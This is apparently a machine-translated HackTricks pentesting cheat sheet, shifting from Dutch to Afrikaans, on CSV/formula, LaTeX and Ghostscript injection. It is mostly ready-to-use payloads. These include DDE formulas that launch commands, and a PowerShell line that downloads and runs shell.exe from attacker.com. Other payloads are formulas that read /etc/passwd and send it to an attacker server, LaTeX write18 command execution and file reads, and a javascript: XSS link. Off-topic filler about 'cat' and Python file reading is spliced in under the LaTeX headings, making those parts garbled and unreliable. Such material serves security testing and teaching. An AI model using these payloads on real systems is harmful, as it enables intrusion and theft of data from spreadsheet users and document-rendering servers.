# Formule/CSV/Doc/LaTeX/GhostScript-injectie
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Andere manieren om HackTricks te ondersteunen: * Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks in PDF wilt downloaden**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)! * Koop de [**officiĂ«le PEASS & HackTricks-merchandise**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family) * **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
Vind kwetsbaarheden die het belangrijkst zijn, zodat je ze sneller kunt oplossen. Intruder volgt je aanvalsoppervlak, voert proactieve bedreigingsscans uit en vindt problemen in je hele technologiestack, van API's tot web-apps en cloudsystemen. [**Probeer het vandaag nog gratis**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks). {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Formule-injectie ### Info Als je **invoer** wordt **weerspiegeld** in **CSV-bestanden** (of een ander bestand dat waarschijnlijk wordt geopend door **Excel**), kun je mogelijk Excel-**formules** invoegen die worden **uitgevoerd** wanneer de gebruiker het bestand **opent** of wanneer de gebruiker op een link **in het Excel-blad klikt**. {% hint style="danger" %} Tegenwoordig **waarschuwt Excel** (meerdere keren) de **gebruiker wanneer er iets van buiten Excel wordt geladen**, om hem te beschermen tegen kwaadwillige acties. Daarom moet er speciale aandacht worden besteed aan Social Engineering bij de uiteindelijke payload. {% endhint %} ### [Woordenlijst](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Skakel **Die volgende voorbeeld is baie nuttig om inhoud uit die finale Excel-blad te eksfiltreer en versoek na willekeurige plekke uit te voer. Dit vereis egter dat die gebruiker op die skakel klik (en die waarskuwings aanvaar).** Die volgende voorbeeld is geneem vanaf [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Stel jou voor daar is 'n veiligheidsbreuk in 'n Student Record Management-stelsel wat uitgebuit word deur 'n CSV-injectie-aanval. Die aanvaller se primĂȘre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige lading in die aansoek inspuit, spesifiek deur skadelike formules in te voer in velde wat bedoel is vir studentbesonderhede. Die aanval ontvou as volg: 1. **Injeksie van Kwaadwillige Lading:** - Die aanvaller stuur 'n vorm vir studentbesonderhede in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. `=HYPERLINK("","Klik hier")`). - Hierdie formule is ontwerp om 'n skakel te skep, maar dit verwys na 'n kwaadwillige bediener wat deur die aanvaller beheer word. 2. **Uitvoer van Gekompromitteerde Data:** - Onderwysers, onbewus van die kompromis, gebruik die funksionaliteit van die aansoek om die data na 'n CSV-lĂȘer uit te voer. - Die CSV-lĂȘer bevat steeds die kwaadwillige lading wanneer dit geopen word. Hierdie lading verskyn as 'n kliekbare skakel in die sigblad. 3. **Aktivering van die Aanval:** - 'n Onderwyser klik op die skakel en glo dit is 'n legitieme deel van die student se besonderhede. - Nadat daar geklik is, word sensitiewe data (moontlik insluitend besonderhede uit die sigblad of die onderwyser se rekenaar) na die aanvaller se bediener gestuur. 4. **Log van die Data:** - Die aanvaller se bediener ontvang en log die sensitiewe data wat van die onderwyser se rekenaar gestuur is. - Die aanvaller kan dan hierdie data gebruik vir verskeie kwaadwillige doeleindes, wat die privaatheid en veiligheid van die studente en die instelling verder kompromitteer. ### RCE **Kyk na die [oorspronklike pos](https://notsosecure.com/data-exfiltration-formula-injection-part1) vir verdere besonderhede.** In spesifieke konfigurasies of ouer weergawes van Excel kan 'n funksie genaamd Dinamiese Data-uitruil (DDE) uitgebuit word om arbitrĂȘre opdragte uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word: - Navigeer na LĂȘer → Opsies → Vertroue Sentrum → Vertroue Sentrum-instellings → Eksterne Inhoud, en aktiveer **Dinamiese Data-uitruilbediener-lancering**. Wanneer 'n sigblad met die kwaadwillige lading geopen word (en as die gebruiker die waarskuwings aanvaar), word die lading uitgevoer. Byvoorbeeld, om die sakrekenaar-toepassing te begin, sal die lading wees: ```markdown `=cmd|' /C calc'!xxx` ``` Bykomende opdragte kan ook uitgevoer word, soos die aflaai en uitvoer van 'n lĂȘer met behulp van PowerShell: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Plaaslike LĂȘer Insluiting (LFI) in LibreOffice Calc LibreOffice Calc kan gebruik word om plaaslike lĂȘers te lees en data uit te voer. Hier is 'n paar metodes: - Lees die eerste lyn van die plaaslike `/etc/passwd` lĂȘer: `='file:///etc/passwd'#$passwd.A1` - Voer die geleesde data uit na 'n aanvaller-beheerde bediener: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` - Voer meer as een lyn uit: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` - DNS-uitvoer (stuur geleesde data as DNS-navrae na 'n aanvaller-beheerde DNS-bediener): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets vir Out-of-Band (OOB) Data Uitvoer Google Sheets bied funksies wat uitgebuit kan word vir OOB data uitvoer: - **CONCATENATE**: Voeg strings saam - `=CONCATENATE(A2:E2)` - **IMPORTXML**: Importeer data van gestruktureerde datatipes - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED**: Importeer RSS- of ATOM-voer - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` - **IMPORTHTML**: Importeer data van HTML-tabelle of -lyste - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` - **IMPORTRANGE**: Importeer 'n reeks selle van 'n ander sigblad - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` - **IMAGE**: Voeg 'n prent in 'n sel in - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injeksie Gewoonlik gebruik die bedieners wat op die internet gevind word wat **LaTeX-kode na PDF omskakel** die program **`pdflatex`**.\ Hierdie program gebruik 3 hoofkenmerke om opdraguitvoering toe te laat of te verhoed: * **`--no-shell-escape`**: **Deaktiveer** die `\write18{opdrag}` konstruk, selfs as dit in die texmf.cnf-lĂȘer geaktiveer is. * **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgeskrewe** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`). * **`--shell-escape`**: **Aktiveer** die `\write18{opdrag}` konstruk. Die opdrag kan enige skelopdrag wees. Hierdie konstruk word normaalweg verhoed vir veiligheidsredes. Daar is egter ander maniere om opdragte uit te voer, so dit is baie belangrik om `--shell-restricted` te gebruik om RCE te voorkom. ### Lees lĂȘer Jy mag dalk die inspuiting met omhulsels soos \[ of $ moet aanpas. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### Lees enkelvoudige lynlĂȘer Om 'n enkelvoudige lynlĂȘer te lees, kan jy die volgende stappe volg: 1. Identifiseer die lĂȘer wat jy wil lees. 2. Gebruik die toepaslike opdrag om die lĂȘer te lees. Byvoorbeeld, as jy die `cat`-opdrag gebruik, tik dan die volgende in die opdragreĂ«l: ```bash cat lĂȘernaam ``` Vervang "lĂȘernaam" met die naam van die lĂȘer wat jy wil lees. 3. Die inhoud van die enkelvoudige lynlĂȘer sal op die skerm vertoon word. Onthou om altyd die nodige toestemmings te hĂȘ om die lĂȘer te lees. ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Lees 'n lĂȘer met meerdere lyne Om 'n lĂȘer met meerdere lyne te lees, kan jy die volgende stappe volg: 1. Maak 'n veranderlike om die lĂȘernaam te stoor, byvoorbeeld `lĂȘernaam = "lĂȘernaam.txt"`. 2. Maak 'n leserobjek aan om die lĂȘer te lees, byvoorbeeld `leser = open(lĂȘernaam, "r")`. 3. Gebruik die `readlines()`-metode om die inhoud van die lĂȘer te lees en dit in 'n lys van lyne te stoor, byvoorbeeld `lyne = leser.readlines()`. 4. Sluit die leserobjek deur die `close()`-metode te gebruik, byvoorbeeld `leser.close()`. Hier is 'n voorbeeld van hoe jy hierdie stappe kan implementeer: ```python lĂȘernaam = "lĂȘernaam.txt" leser = open(lĂȘernaam, "r") lyne = leser.readlines() leser.close() ``` Nadat jy hierdie stappe gevolg het, sal die `lyne`-lys die inhoud van die lĂȘer bevat, met elke lyn as 'n afsonderlike element in die lys. ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Skryf lĂȘer ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Opdrag uitvoering Die inset van die opdrag sal omgelei word na stdin, gebruik 'n tydelike lĂȘer om dit te kry. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` As jy enige LaTex-fout kry, oorweeg om base64 te gebruik om die resultaat sonder slegte karakters te kry. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Kruiswebkriptering Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript-injectering **Kyk [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)** ## Verwysings * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks). {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.